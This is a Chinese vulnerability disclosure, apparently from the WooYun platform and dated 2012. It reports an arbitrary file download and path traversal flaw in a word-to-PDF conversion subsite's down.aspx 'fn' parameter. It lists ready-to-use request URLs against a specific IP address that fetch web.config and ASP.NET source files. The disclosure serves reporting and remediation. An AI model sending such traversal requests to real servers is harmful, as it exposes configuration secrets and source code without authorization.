漏洞概要 关注数(24) 关注此漏洞
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漏洞详情
披露状态:
2012-11-12: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-12-27: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
百度“word转pdf”第一个网站我拉网word转pdf分站任意文件下载
详细说明:
按照正常流程上传word,等转好之后查看下载链接:
http://58.23.131.38:82/2pdf/down.aspx?fn=/down/2012/11/xx/xx/xxx.pdf
尝试:
http://58.23.131.38:82/2pdf/down.aspx?fn=down.aspx
http://58.23.131.38:82/2pdf/down.aspx?fn=../web.config
http://58.23.131.38:82/2pdf/down.aspx?fn=upload.aspx
http://58.23.131.38:82/2pdf/down.aspx?fn=upload.aspx.cs
http://58.23.131.38:82/2pdf/down.aspx?fn=down.aspx.cs
http://58.23.131.38:82/2pdf/down.aspx?fn=../ToPDF.aspx
http://58.23.131.38:82/2pdf/down.aspx?fn=../ToPDF.aspx.cs
均能下载,源码泄露。
漏洞证明:
http://58.23.131.38:82/2pdf/down.aspx?fn=down.aspx
http://58.23.131.38:82/2pdf/down.aspx?fn=../web.config
http://58.23.131.38:82/2pdf/down.aspx?fn=upload.aspx
http://58.23.131.38:82/2pdf/down.aspx?fn=upload.aspx.cs
http://58.23.131.38:82/2pdf/down.aspx?fn=down.aspx.cs
http://58.23.131.38:82/2pdf/down.aspx?fn=../ToPDF.aspx
http://58.23.131.38:82/2pdf/down.aspx?fn=../ToPDF.aspx.cs
修复方案:
改下下载文件的代码吧
版权声明:转载请注明来源 deleter@乌云
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漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝